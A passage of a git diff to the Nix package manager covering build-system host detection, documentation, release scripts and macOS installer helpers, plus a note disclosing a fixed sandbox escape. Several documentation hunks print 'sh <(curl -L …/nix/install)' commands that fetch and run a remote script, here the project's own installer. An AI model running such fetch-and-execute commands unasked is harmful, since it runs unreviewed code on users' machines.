}]])], GCC_ATOMIC_BUILTINS_NEED_LIBATOMIC=no, GCC_ATOMIC_BUILTINS_NEED_LIBATOMIC=yes)
AC_MSG_RESULT($GCC_ATOMIC_BUILTINS_NEED_LIBATOMIC)
if test "x$GCC_ATOMIC_BUILTINS_NEED_LIBATOMIC" = xyes; then
LDFLAGS="-latomic $LDFLAGS"
fi
PKG_PROG_PKG_CONFIG
AC_ARG_ENABLE(shared, AC_HELP_STRING([--enable-shared],
[Build shared libraries for Nix [default=yes]]),
shared=$enableval, shared=yes)
if test "$shared" = yes; then
AC_SUBST(BUILD_SHARED_LIBS, 1, [Whether to build shared libraries.])
else
AC_SUBST(BUILD_SHARED_LIBS, 0, [Whether to build shared libraries.])
PKG_CONFIG="$PKG_CONFIG --static"
fi
# Look for OpenSSL, a required dependency.
PKG_CHECK_MODULES([OPENSSL], [libcrypto], [CXXFLAGS="$OPENSSL_CFLAGS $CXXFLAGS"])
@@ -205,24 +223,29 @@ AC_CHECK_LIB([lzma], [lzma_stream_encoder_mt],
# Look for libbrotli{enc,dec}.
PKG_CHECK_MODULES([LIBBROTLI], [libbrotlienc libbrotlidec], [CXXFLAGS="$LIBBROTLI_CFLAGS $CXXFLAGS"])
# Look for libzstd.
PKG_CHECK_MODULES([LIBZSTD], [libzstd], [CXXFLAGS="$LIBZSTD_CFLAGS $CXXFLAGS"])
# Look for libseccomp, required for Linux sandboxing.
if test "$sys_name" = linux; then
AC_ARG_ENABLE([seccomp-sandboxing],
AC_HELP_STRING([--disable-seccomp-sandboxing],
[Don't build support for seccomp sandboxing (only recommended if your arch doesn't support libseccomp yet!)]
))
if test "x$enable_seccomp_sandboxing" != "xno"; then
PKG_CHECK_MODULES([LIBSECCOMP], [libseccomp],
[CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"])
have_seccomp=1
AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.])
else
case "$host_os" in
linux*)
AC_ARG_ENABLE([seccomp-sandboxing],
AC_HELP_STRING([--disable-seccomp-sandboxing],
[Don't build support for seccomp sandboxing (only recommended if your arch doesn't support libseccomp yet!)]
))
if test "x$enable_seccomp_sandboxing" != "xno"; then
PKG_CHECK_MODULES([LIBSECCOMP], [libseccomp],
[CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"])
have_seccomp=1
AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.])
else
have_seccomp=
fi
;;
*)
have_seccomp=
fi
else
have_seccomp=
fi
;;
esac
AC_SUBST(HAVE_SECCOMP, [$have_seccomp])
@@ -238,6 +261,7 @@ if test -n "$enable_s3"; then
declare -a aws_version_tokens=($(printf '#include <aws/core/VersionConfig.h>\nAWS_SDK_VERSION_STRING' | $CPP $CPPFLAGS - | grep -v '^#.*' | sed 's/"//g' | tr '.' ' '))
AC_DEFINE_UNQUOTED([AWS_VERSION_MAJOR], ${aws_version_tokens@<:@0@:>@}, [Major version of aws-sdk-cpp.])
AC_DEFINE_UNQUOTED([AWS_VERSION_MINOR], ${aws_version_tokens@<:@1@:>@}, [Minor version of aws-sdk-cpp.])
AC_DEFINE_UNQUOTED([AWS_VERSION_PATCH], ${aws_version_tokens@<:@2@:>@}, [Patch version of aws-sdk-cpp.])
fi
@@ -269,9 +293,11 @@ AC_CHECK_FUNCS([strsignal posix_fallocate sysconf])
# This is needed if bzip2 is a static library, and the Nix libraries
# are dynamic.
if test "$(uname)" = "Darwin"; then
case "${host_os}" in
darwin*)
LDFLAGS="-all_load $LDFLAGS"
fi
;;
esac
# Do we have GNU tar?
@@ -290,16 +316,6 @@ AC_ARG_WITH(sandbox-shell, AC_HELP_STRING([--with-sandbox-shell=PATH],
sandbox_shell=$withval)
AC_SUBST(sandbox_shell)
AC_ARG_ENABLE(shared, AC_HELP_STRING([--enable-shared],
[Build shared libraries for Nix [default=yes]]),
shared=$enableval, shared=yes)
if test "$shared" = yes; then
AC_SUBST(BUILD_SHARED_LIBS, 1, [Whether to build shared libraries.])
else
AC_SUBST(BUILD_SHARED_LIBS, 0, [Whether to build shared libraries.])
fi
# Expand all variables in config.status.
test "$prefix" = NONE && prefix=$ac_default_prefix
test "$exec_prefix" = NONE && exec_prefix='${prefix}'
+1 -1
View File
@@ -39,7 +39,7 @@ bundle.</para>
<step><para>Set the environment variable and install Nix</para>
<screen>
$ export NIX_SSL_CERT_FILE=/etc/ssl/my-certificate-bundle.crt
$ sh &lt;(curl https://nixos.org/nix/install)
$ sh &lt;(curl -L https://nixos.org/nix/install)
</screen></step>
<step><para>In the shell profile and rc files (for example,
@@ -12,7 +12,7 @@
</para>
<screen>
$ sh &lt;(curl https://nixos.org/nix/install)
$ sh &lt;(curl -L https://nixos.org/nix/install)
</screen>
<para>
@@ -39,7 +39,7 @@
To explicitly select a single-user installation on your system:
<screen>
sh &lt;(curl https://nixos.org/nix/install) --no-daemon
sh &lt;(curl -L https://nixos.org/nix/install) --no-daemon
</screen>
</para>
@@ -97,7 +97,7 @@ $ rm -rf /nix
installation on your system:
</para>
<screen>sh &lt;(curl https://nixos.org/nix/install) --daemon</screen>
<screen>sh &lt;(curl -L https://nixos.org/nix/install) --daemon</screen>
<para>
The multi-user installation of Nix will create build users between
@@ -178,7 +178,7 @@ sudo rm /Library/LaunchDaemons/org.nixos.nix-daemon.plist
is a bit of a misnomer). To use this approach, just install Nix with:
</para>
<screen>$ sh &lt;(curl https://nixos.org/nix/install) --darwin-use-unencrypted-nix-store-volume</screen>
<screen>$ sh &lt;(curl -L https://nixos.org/nix/install) --darwin-use-unencrypted-nix-store-volume</screen>
<para>
If you don't like the sound of this, you'll want to weigh the
@@ -429,7 +429,7 @@ LABEL=Nix\040Store /nix apfs rw,nobrowse
NixOS.org installation script:
<screen>
sh &lt;(curl https://nixos.org/nix/install)
sh &lt;(curl -L https://nixos.org/nix/install)
</screen>
</para>
+1 -1
View File
@@ -15,7 +15,7 @@ to subsequent chapters.</para>
<step><para>Install single-user Nix by running the following:
<screen>
$ bash &lt;(curl https://nixos.org/nix/install)
$ bash &lt;(curl -L https://nixos.org/nix/install)
</screen>
This will install Nix in <filename>/nix</filename>. The install script
+14
View File
@@ -0,0 +1,14 @@
---
synopsis: Fix a FOD sandbox escape
issues:
prs:
---
Cooperating Nix derivations could send file descriptors to files in the Nix
store to each other via Unix domain sockets in the abstract namespace. This
allowed one derivation to modify the output of the other derivation, after Nix
has registered the path as "valid" and immutable in the Nix database.
In particular, this allowed the output of fixed-output derivations to be
modified from their expected content.
This isn't the case any more.
Generated
+27
View File
@@ -0,0 +1,27 @@
{
"nodes": {
"nixpkgs": {
"locked": {
"lastModified": 1705133751,
"narHash": "sha256-rCIsyE80jgiOU78gCWN3A0wE0tR2GI5nH6MlS+HaaSQ=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "9b19f5e77dd906cb52dade0b7bd280339d2a1f3d",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-unstable",
"repo": "nixpkgs",
"type": "github"
}
},
"root": {
"inputs": {
"nixpkgs": "nixpkgs"
}
}
},
"root": "root",
"version": 7
}
+56
View File
@@ -0,0 +1,56 @@
{
inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
# A very basic flake to conveniently `nix run nix/2.3` for testing.
# Note that this release has no built-in support for flakes,
# and this flake declaration is provided on a best-effort basis.
outputs = { self, nixpkgs, ... }:
let
inherit (nixpkgs) lib;
inherit (lib) flip genAttrs mapAttrs substring;
rev = self.sourceInfo.rev or self.sourceInfo.dirtyRev or "";
revCount = self.sourceInfo.revCount or 0;
shortRev = self.sourceInfo.shortRev or (substring 0 7 rev);
release = import ./release.nix {
nix = {
outPath = ./.;
inherit rev revCount shortRev;
};
nixpkgs = nixpkgs.outPath;
officialRelease = false;
};
in
{
# inherit release;
packages =
mapAttrs
(system: nix: {
default = nix;
nix = nix;
})
release.build;
apps =
mapAttrs
(system: packages:
let
appFor = mainProgram: {
type = "app";
program = lib.getExe' packages.nix mainProgram;
};
in flip genAttrs appFor [
"nix"
"nix-build"
"nix-channel"
"nix-collect-garbage"
"nix-copy-closure"
"nix-daemon"
"nix-env"
"nix-hash"
"nix-instantiate"
"nix-prefetch-url"
"nix-shell"
"nix-store"
])
self.packages;
};
}
+2
View File
@@ -89,6 +89,7 @@ downloadFile("binaryTarball.i686-linux", "1");
downloadFile("binaryTarball.x86_64-linux", "1");
downloadFile("binaryTarball.aarch64-linux", "1");
downloadFile("binaryTarball.x86_64-darwin", "1");
downloadFile("binaryTarball.aarch64-darwin", "1");
downloadFile("installerScript", "1");
exit if $version =~ /pre/;
@@ -121,6 +122,7 @@ write_file("$nixpkgsDir/nixos/modules/installer/tools/nix-fallback-paths.nix",
" i686-linux = \"" . getStorePath("build.i686-linux") . "\";\n" .
" aarch64-linux = \"" . getStorePath("build.aarch64-linux") . "\";\n" .
" x86_64-darwin = \"" . getStorePath("build.x86_64-darwin") . "\";\n" .
" aarch64-darwin = \"" . getStorePath("build.aarch64-darwin") . "\";\n" .
"}\n");
system("cd $nixpkgsDir && git commit -a -m 'nix: $oldName -> $version'") == 0 or die;
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
$(eval $(call install-data-in, $(d)/org.nixos.nix-daemon.plist, $(prefix)/Library/LaunchDaemons))
@@ -4,6 +4,8 @@
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>NIX_SSL_CERT_FILE</key>
<string>/nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt</string>
<key>OBJC_DISABLE_INITIALIZE_FORK_SAFETY</key>
<string>YES</string>
</dict>
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Linux)
ifdef HOST_LINUX
$(foreach n, nix-daemon.socket nix-daemon.service, $(eval $(call install-file-in, $(d)/$(n), $(prefix)/lib/systemd/system, 0644)))
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Linux)
ifdef HOST_LINUX
$(foreach n, nix-daemon.conf, $(eval $(call install-file-in, $(d)/$(n), $(sysconfdir)/init, 0644)))
+22 -5
View File
@@ -11,8 +11,25 @@ noinst-scripts :=
man-pages :=
install-tests :=
dist-files :=
OS = $(shell uname -s)
ifdef HOST_OS
HOST_KERNEL = $(firstword $(subst -, ,$(HOST_OS)))
ifeq ($(HOST_KERNEL), cygwin)
HOST_CYGWIN = 1
endif
ifeq ($(patsubst darwin%,,$(HOST_KERNEL)),)
HOST_DARWIN = 1
endif
ifeq ($(patsubst freebsd%,,$(HOST_KERNEL)),)
HOST_FREEBSD = 1
endif
ifeq ($(HOST_KERNEL), linux)
HOST_LINUX = 1
endif
ifeq ($(patsubst solaris%,,$(HOST_KERNEL)),)
HOST_SOLARIS = 1
endif
endif
# Hack to define a literal space.
space :=
@@ -52,16 +69,16 @@ endif
BUILD_SHARED_LIBS ?= 1
ifeq ($(BUILD_SHARED_LIBS), 1)
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
GLOBAL_CFLAGS += -U__STRICT_ANSI__ -D_GNU_SOURCE
GLOBAL_CXXFLAGS += -U__STRICT_ANSI__ -D_GNU_SOURCE
else
GLOBAL_CFLAGS += -fPIC
GLOBAL_CXXFLAGS += -fPIC
endif
ifneq ($(OS), Darwin)
ifneq ($(OS), SunOS)
ifneq ($(OS), FreeBSD)
ifndef HOST_DARWIN
ifndef HOST_SOLARIS
ifndef HOST_FREEBSD
GLOBAL_LDFLAGS += -Wl,--no-copy-dt-needed-entries
endif
endif
+9 -9
View File
@@ -1,9 +1,9 @@
libs-list :=
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
SO_EXT = dylib
else
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
SO_EXT = dll
else
SO_EXT = so
@@ -59,7 +59,7 @@ define build-library
$(1)_OBJS := $$(addprefix $(buildprefix), $$(addsuffix .o, $$(basename $$(_srcs))))
_libs := $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_PATH))
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
$(1)_INSTALL_DIR ?= $$(bindir)
else
$(1)_INSTALL_DIR ?= $$(libdir)
@@ -73,18 +73,18 @@ define build-library
ifeq ($(BUILD_SHARED_LIBS), 1)
ifdef $(1)_ALLOW_UNDEFINED
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
$(1)_LDFLAGS += -undefined suppress -flat_namespace
endif
else
ifneq ($(OS), Darwin)
ifneq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifndef HOST_DARWIN
ifndef HOST_CYGWIN
$(1)_LDFLAGS += -Wl,-z,defs
endif
endif
endif
ifneq ($(OS), Darwin)
ifndef HOST_DARWIN
$(1)_LDFLAGS += -Wl,-soname=$$($(1)_NAME).$(SO_EXT)
endif
@@ -93,7 +93,7 @@ define build-library
$$($(1)_PATH): $$($(1)_OBJS) $$(_libs) | $$(_d)/
$$(trace-ld) $(CXX) -o $$(abspath $$@) -shared $$(LDFLAGS) $$(GLOBAL_LDFLAGS) $$($(1)_OBJS) $$($(1)_LDFLAGS) $$($(1)_LDFLAGS_PROPAGATED) $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_LDFLAGS_USE)) $$($(1)_LDFLAGS_UNINSTALLED)
ifneq ($(OS), Darwin)
ifndef HOST_DARWIN
$(1)_LDFLAGS_USE += -Wl,-rpath,$$(abspath $$(_d))
endif
$(1)_LDFLAGS_USE += -L$$(_d) -l$$(patsubst lib%,%,$$(strip $$($(1)_NAME)))
@@ -108,7 +108,7 @@ define build-library
$$(trace-ld) $(CXX) -o $$@ -shared $$(LDFLAGS) $$(GLOBAL_LDFLAGS) $$($(1)_OBJS) $$($(1)_LDFLAGS) $$($(1)_LDFLAGS_PROPAGATED) $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_LDFLAGS_USE_INSTALLED))
$(1)_LDFLAGS_USE_INSTALLED += -L$$(DESTDIR)$$($(1)_INSTALL_DIR) -l$$(patsubst lib%,%,$$(strip $$($(1)_NAME)))
ifneq ($(OS), Darwin)
ifndef HOST_DARWIN
ifeq ($(SET_RPATH_TO_LIBS), 1)
$(1)_LDFLAGS_USE_INSTALLED += -Wl,-rpath,$$($(1)_INSTALL_DIR)
else
Executable
+29
View File
@@ -0,0 +1,29 @@
#!/bin/sh
set -eu -o pipefail
red=""
green=""
yellow=""
normal=""
post_run_msg="ran test $1..."
if [ -t 1 ]; then
red=""
green=""
yellow=""
normal=""
fi
(cd $(dirname $1) && env ${TESTS_ENVIRONMENT} init.sh 2>/dev/null > /dev/null)
log="$(cd $(dirname $1) && env ${TESTS_ENVIRONMENT} $(basename $1) 2>&1)" && status=0 || status=$?
if [ $status -eq 0 ]; then
echo "$post_run_msg [${green}PASS$normal]"
elif [ $status -eq 99 ]; then
echo "$post_run_msg [${yellow}SKIP$normal]"
else
echo "$post_run_msg [${red}FAIL$normal]"
echo "$log" | sed 's/^/ /'
exit "$status"
fi
+10 -37
View File
@@ -1,45 +1,18 @@
# Run program $1 as part of ‘make installcheck’.
test-deps =
define run-install-test
installcheck: $1
installcheck: $1.test
_installcheck-list += $1
.PHONY: $1.test
$1.test: $1 $(test-deps)
@env TEST_NAME=$(notdir $(basename $1)) TESTS_ENVIRONMENT="$(tests-environment)" mk/run_test.sh $1 < /dev/null
endef
# Color code from https://unix.stackexchange.com/a/10065
installcheck:
@total=0; failed=0; \
red=""; \
green=""; \
yellow=""; \
normal=""; \
if [ -t 1 ]; then \
red=""; \
green=""; \
yellow=""; \
normal=""; \
fi; \
for i in $(_installcheck-list); do \
total=$$((total + 1)); \
printf "running test $$i..."; \
log="$$(cd $$(dirname $$i) && $(tests-environment) $$(basename $$i) 2>&1)"; \
status=$$?; \
if [ $$status -eq 0 ]; then \
echo " [$${green}PASS$$normal]"; \
elif [ $$status -eq 99 ]; then \
echo " [$${yellow}SKIP$$normal]"; \
else \
echo " [$${red}FAIL$$normal]"; \
echo "$$log" | sed 's/^/ /'; \
failed=$$((failed + 1)); \
fi; \
done; \
if [ "$$failed" != 0 ]; then \
echo "$${red}$$failed out of $$total tests failed $$normal"; \
exit 1; \
else \
echo "$${green}All tests succeeded$$normal"; \
fi
.PHONY: check installcheck
print-top-help += \
echo " installcheck: Run functional tests";
+1
View File
@@ -28,6 +28,7 @@ Requires: curl
Requires: bzip2
Requires: gzip
Requires: xz
Requires: zstd
BuildRequires: bison
BuildRequires: boost-devel >= 1.60
BuildRequires: bzip2-devel
+1
View File
@@ -1,3 +1,4 @@
HOST_OS = @host_os@
CC = @CC@
CFLAGS = @CFLAGS@
CXX = @CXX@
+2
View File
@@ -10,6 +10,8 @@ AC_PROG_CC
AC_PROG_CXX
AX_CXX_COMPILE_STDCXX_11
AC_CANONICAL_HOST
# Use 64-bit file system calls so that we can support files > 2 GiB.
AC_SYS_LARGEFILE
+1 -1
View File
@@ -28,7 +28,7 @@ Store_CXXFLAGS = \
Store_LDFLAGS := $(SODIUM_LIBS) $(NIX_LIBS)
ifeq (CYGWIN,$(findstring CYGWIN,$(OS)))
ifdef HOST_CYGWIN
archlib = $(shell perl -E 'use Config; print $$Config{archlib};')
libperl = $(shell perl -E 'use Config; print $$Config{libperl};')
Store_LDFLAGS += $(shell find ${archlib} -name ${libperl})
+3 -3
View File
@@ -49,15 +49,15 @@ rec {
buildDeps =
[ curl
bzip2 xz brotli editline
openssl pkgconfig sqlite
bzip2 xz brotli zstd editline
openssl pkg-config sqlite
boost
# Tests
git
mercurial
]
++ lib.optionals stdenv.isLinux [libseccomp utillinuxMinimal]
++ lib.optionals stdenv.isLinux [libseccomp (pkgs.util-linuxMinimal or pkgs.utillinuxMinimal)]
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
++ lib.optional (stdenv.isLinux || stdenv.isDarwin)
((aws-sdk-cpp.override {
+44 -96
View File
@@ -1,7 +1,7 @@
{ nix ? builtins.fetchGit ./.
, nixpkgs ? builtins.fetchTarball https://github.com/NixOS/nixpkgs-channels/archive/nixos-19.03.tar.gz
, nixpkgs ? builtins.fetchTarball https://github.com/NixOS/nixpkgs/archive/nixos-21.05-small.tar.gz
, officialRelease ? false
, systems ? [ "x86_64-linux" "i686-linux" "x86_64-darwin" "aarch64-linux" ]
, systems ? [ "x86_64-linux" "i686-linux" "x86_64-darwin" "aarch64-linux" "aarch64-darwin" ]
}:
let
@@ -25,7 +25,7 @@ let
buildInputs = tarballDeps ++ buildDeps ++ propagatedDeps;
configureFlags = "--enable-gc";
configureFlags = [ "--enable-gc" ];
postUnpack = ''
(cd $sourceRoot && find . -type f) | cut -c3- > $sourceRoot/.dist-files
@@ -108,12 +108,13 @@ let
buildInputs =
[ jobs.build.${system} curl bzip2 xz pkgconfig pkgs.perl boost ]
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium;
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
configureFlags = ''
--with-dbi=${perlPackages.DBI}/${pkgs.perl.libPrefix}
--with-dbd-sqlite=${perlPackages.DBDSQLite}/${pkgs.perl.libPrefix}
'';
configureFlags = [
"--with-dbi=${perlPackages.DBI}/${pkgs.perl.libPrefix}"
"--with-dbd-sqlite=${perlPackages.DBDSQLite}/${pkgs.perl.libPrefix}"
];
enableParallelBuilding = true;
@@ -222,18 +223,42 @@ let
FONTCONFIG_FILE = texFunctions.fontsConf;
};
testNixVersions = client: daemon: pkgs:
#rpm_fedora27x86_64 = makeRPM_x86_64 (diskImageFunsFun: diskImageFunsFun.fedora27x86_64) [ ];
with import ./release-common.nix { inherit pkgs; };
pkgs.releaseTools.nixBuild {
NIX_DAEMON_PACKAGE = daemon;
NIX_CLIENT_PACKAGE = client;
HAVE_LOCAL_NIX_BUILD = false;
name = "nix-tests-${client.src.version}-against-${daemon.src.version}";
#deb_debian8i386 = makeDeb_i686 (diskImageFuns: diskImageFuns.debian8i386) [ "libsodium-dev" ] [ "libsodium13" ];
#deb_debian8x86_64 = makeDeb_x86_64 (diskImageFunsFun: diskImageFunsFun.debian8x86_64) [ "libsodium-dev" ] [ "libsodium13" ];
src = tarball;
#deb_ubuntu1710i386 = makeDeb_i686 (diskImageFuns: diskImageFuns.ubuntu1710i386) [ ] [ "libsodium18" ];
#deb_ubuntu1710x86_64 = makeDeb_x86_64 (diskImageFuns: diskImageFuns.ubuntu1710x86_64) [ ] [ "libsodium18" "libboost-context1.62.0" ];
VERSION_SUFFIX = tarball.versionSuffix;
buildInputs = buildDeps;
propagatedBuildInputs = propagatedDeps;
enableParallelBuilding = true;
dontBuild = true;
doInstallCheck = true;
installPhase = ''
mkdir -p $out
'';
installCheckPhase = "make installcheck -j$NIX_BUILD_CORES -l$NIX_BUILD_CORE";
};
testAgainstSelf = pkgs.lib.genAttrs systems (system:
let pkgs = import nixpkgs { inherit system; }; in
testNixVersions build.${system} build.${system} pkgs);
# System tests.
tests.remoteBuilds = (import ./tests/remote-builds.nix rec {
inherit nixpkgs;
nix = build.x86_64-linux; system = "x86_64-linux";
@@ -244,6 +269,11 @@ let
nix = build.x86_64-linux; system = "x86_64-linux";
});
tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
inherit nixpkgs;
nix = build.x86_64-linux; system = "x86_64-linux";
});
tests.setuid = pkgs.lib.genAttrs
["i686-linux" "x86_64-linux"]
(system:
@@ -252,37 +282,6 @@ let
nix = build.${system}; inherit system;
});
tests.binaryTarball =
with import nixpkgs { system = "x86_64-linux"; };
vmTools.runInLinuxImage (runCommand "nix-binary-tarball-test"
{ diskImage = vmTools.diskImages.ubuntu1204x86_64;
}
''
set -x
useradd -m alice
su - alice -c 'tar xf ${binaryTarball.x86_64-linux}/*.tar.*'
mkdir /dest-nix
mount -o bind /dest-nix /nix # Provide a writable /nix.
chown alice /nix
su - alice -c '_NIX_INSTALLER_TEST=1 ./nix-*/install'
su - alice -c 'nix-store --verify'
su - alice -c 'PAGER= nix-store -qR ${build.x86_64-linux}'
# Check whether 'nix upgrade-nix' works.
cat > /tmp/paths.nix <<EOF
{
x86_64-linux = "${build.x86_64-linux}";
}
EOF
su - alice -c 'nix upgrade-nix -vvv --nix-store-paths-url file:///tmp/paths.nix'
(! [ -L /home/alice/.profile-1-link ])
su - alice -c 'PAGER= nix-store -qR ${build.x86_64-linux}'
mkdir -p $out/nix-support
touch $out/nix-support/hydra-build-products
umount /nix
''); # */
/*
tests.evalNixpkgs =
import (nixpkgs + "/pkgs/top-level/make-tarball.nix") {
@@ -315,7 +314,7 @@ let
substitute ${./scripts/install.in} $out/install \
${pkgs.lib.concatMapStrings
(system: "--replace '@binaryTarball_${system}@' $(nix hash-file --base16 --type sha256 ${binaryTarball.${system}}/*.tar.xz) ")
[ "x86_64-linux" "i686-linux" "x86_64-darwin" "aarch64-linux" ]
[ "x86_64-linux" "i686-linux" "x86_64-darwin" "aarch64-darwin" "aarch64-linux" ]
} \
--replace '@nixVersion@' ${build.x86_64-linux.src.version}
@@ -325,55 +324,4 @@ let
};
makeRPM_i686 = makeRPM "i686-linux";
makeRPM_x86_64 = makeRPM "x86_64-linux";
makeRPM =
system: diskImageFun: extraPackages:
with import nixpkgs { inherit system; };
releaseTools.rpmBuild rec {
name = "nix-rpm";
src = jobs.tarball;
diskImage = (diskImageFun vmTools.diskImageFuns)
{ extraPackages =
[ "sqlite" "sqlite-devel" "bzip2-devel" "libcurl-devel" "openssl-devel" "xz-devel" "libseccomp-devel" "libsodium-devel" "boost-devel" "bison" "flex" ]
++ extraPackages; };
# At most 2047MB can be simulated in qemu-system-i386
memSize = 2047;
meta.schedulingPriority = 50;
postRPMInstall = "cd /tmp/rpmout/BUILD/nix-* && make installcheck";
#enableParallelBuilding = true;
};
makeDeb_i686 = makeDeb "i686-linux";
makeDeb_x86_64 = makeDeb "x86_64-linux";
makeDeb =
system: diskImageFun: extraPackages: extraDebPackages:
with import nixpkgs { inherit system; };
releaseTools.debBuild {
name = "nix-deb";
src = jobs.tarball;
diskImage = (diskImageFun vmTools.diskImageFuns)
{ extraPackages =
[ "libsqlite3-dev" "libbz2-dev" "libcurl-dev" "libcurl3-nss" "libssl-dev" "liblzma-dev" "libseccomp-dev" "libsodium-dev" "libboost-all-dev" ]
++ extraPackages; };
memSize = 2047;
meta.schedulingPriority = 50;
postInstall = "make installcheck";
configureFlags = "--sysconfdir=/etc";
debRequires =
[ "curl" "libsqlite3-0" "libbz2-1.0" "bzip2" "xz-utils" "libssl1.0.0" "liblzma5" "libseccomp2" ]
++ extraDebPackages;
debMaintainer = "Eelco Dolstra <eelco.dolstra@logicblox.com>";
doInstallCheck = true;
#enableParallelBuilding = true;
};
in jobs
+46
View File
@@ -0,0 +1,46 @@
#!/usr/bin/env bash
((NEW_NIX_FIRST_BUILD_UID=301))
id_available(){
dscl . list /Users UniqueID | grep -E '\b'$1'\b' >/dev/null
}
change_nixbld_names_and_ids(){
local name uid next_id
((next_id=NEW_NIX_FIRST_BUILD_UID))
echo "Attempting to migrate nixbld users."
echo "Each user should change from nixbld# to _nixbld#"
echo "and their IDs relocated to $next_id+"
while read -r name uid; do
echo " Checking $name (uid: $uid)"
# iterate for a clean ID
while id_available "$next_id"; do
((next_id++))
if ((next_id >= 400)); then
echo "We've hit UID 400 without placing all of your users :("
echo "You should use the commands in this script as a starting"
echo "point to review your UID-space and manually move the"
echo "remaining users (or delete them, if you don't need them)."
exit 1
fi
done
if [[ $name == _* ]]; then
echo " It looks like $name has already been renamed--skipping."
else
# first 3 are cleanup, it's OK if they aren't here
sudo dscl . delete /Users/$name dsAttrTypeNative:_writers_passwd &>/dev/null || true
sudo dscl . change /Users/$name NFSHomeDirectory "/private/var/empty 1" "/var/empty" &>/dev/null || true
# remove existing user from group
sudo dseditgroup -o edit -t user -d $name nixbld || true
sudo dscl . change /Users/$name UniqueID $uid $next_id
sudo dscl . change /Users/$name RecordName $name _$name
# add renamed user to group
sudo dseditgroup -o edit -t user -a _$name nixbld
echo " $name migrated to _$name (uid: $next_id)"
fi
done < <(dscl . list /Users UniqueID | grep nixbld | sort -n -k2)
}
change_nixbld_names_and_ids
+23 -39
View File
@@ -5,42 +5,13 @@ root_disk() {
diskutil info -plist /
}
apfs_volumes_for() {
disk=$1
diskutil apfs list -plist "$disk"
}
disk_identifier() {
xpath "/plist/dict/key[text()='ParentWholeDisk']/following-sibling::string[1]/text()" 2>/dev/null
}
volume_list_true() {
key=$1
xpath "/plist/dict/array/dict/key[text()='Volumes']/following-sibling::array/dict/key[text()='$key']/following-sibling::true[1]" 2> /dev/null
}
volume_get_string() {
key=$1 i=$2
xpath "/plist/dict/array/dict/key[text()='Volumes']/following-sibling::array/dict[$i]/key[text()='$key']/following-sibling::string[1]/text()" 2> /dev/null
# i.e., "disk1"
root_disk_identifier() {
diskutil info -plist / | xmllint --xpath "/plist/dict/key[text()='ParentWholeDisk']/following-sibling::string[1]/text()" -
}
find_nix_volume() {
disk=$1
i=1
volumes=$(apfs_volumes_for "$disk")
while true; do
name=$(echo "$volumes" | volume_get_string "Name" "$i")
if [ -z "$name" ]; then
break
fi
case "$name" in
[Nn]ix*)
echo "$name"
break
;;
esac
i=$((i+1))
done
diskutil apfs list -plist "$1" | xmllint --xpath "(/plist/dict/array/dict/key[text()='Volumes']/following-sibling::array/dict/key[text()='Name']/following-sibling::string[starts-with(translate(text(),'N','n'),'nix')]/text())[1]" - 2>/dev/null || true
}
test_fstab() {
@@ -55,6 +26,20 @@ test_synthetic_conf() {
grep -q "^nix$" /etc/synthetic.conf 2>/dev/null
}
# Create the paths defined in synthetic.conf, saving us a reboot.
create_synthetic_objects(){
# Big Sur takes away the -B flag we were using and replaces it
# with a -t flag that appears to do the same thing (but they
# don't behave exactly the same way in terms of return values).
# This feels a little dirty, but as far as I can tell the
# simplest way to get the right one is to just throw away stderr
# and call both... :]
{
/System/Library/Filesystems/apfs.fs/Contents/Resources/apfs.util -t || true # Big Sur
/System/Library/Filesystems/apfs.fs/Contents/Resources/apfs.util -B || true # Catalina
} >/dev/null 2>&1
}
test_nix() {
test -d "/nix"
}
@@ -89,9 +74,7 @@ test_t2_chip_present(){
}
test_filevault_in_use() {
disk=$1
# list vols on disk | get value of Filevault key | value is true
apfs_volumes_for "$disk" | volume_list_true FileVault | grep -q true
fdesetup isactive >/dev/null
}
# use after error msg for conditions we don't understand
@@ -132,7 +115,7 @@ main() {
if ! test_nix; then
echo "Creating mountpoint for /nix..." >&2
/System/Library/Filesystems/apfs.fs/Contents/Resources/apfs.util -B || true
create_synthetic_objects # the ones we defined in synthetic.conf
if ! test_nix; then
sudo mkdir -p /nix 2>/dev/null || true
fi
@@ -143,12 +126,12 @@ main() {
fi
fi
disk=$(root_disk | disk_identifier)
disk="$(root_disk_identifier)"
volume=$(find_nix_volume "$disk")
if [ -z "$volume" ]; then
echo "Creating a Nix Store volume..." >&2
if test_filevault_in_use "$disk"; then
if test_filevault_in_use; then
# TODO: Not sure if it's in-scope now, but `diskutil apfs list`
# shows both filevault and encrypted at rest status, and it
# may be the more semantic way to test for this? It'll show
@@ -178,6 +161,7 @@ main() {
if ! test_fstab; then
echo "Configuring /etc/fstab..." >&2
label=$(echo "$volume" | sed 's/ /\\040/g')
# shellcheck disable=SC2209
printf "\$a\nLABEL=%s /nix apfs rw,nobrowse\n.\nwq\n" "$label" | EDITOR=ed sudo vifs
fi
}
+2
View File
@@ -4,6 +4,8 @@ set -eu
set -o pipefail
readonly PLIST_DEST=/Library/LaunchDaemons/org.nixos.nix-daemon.plist
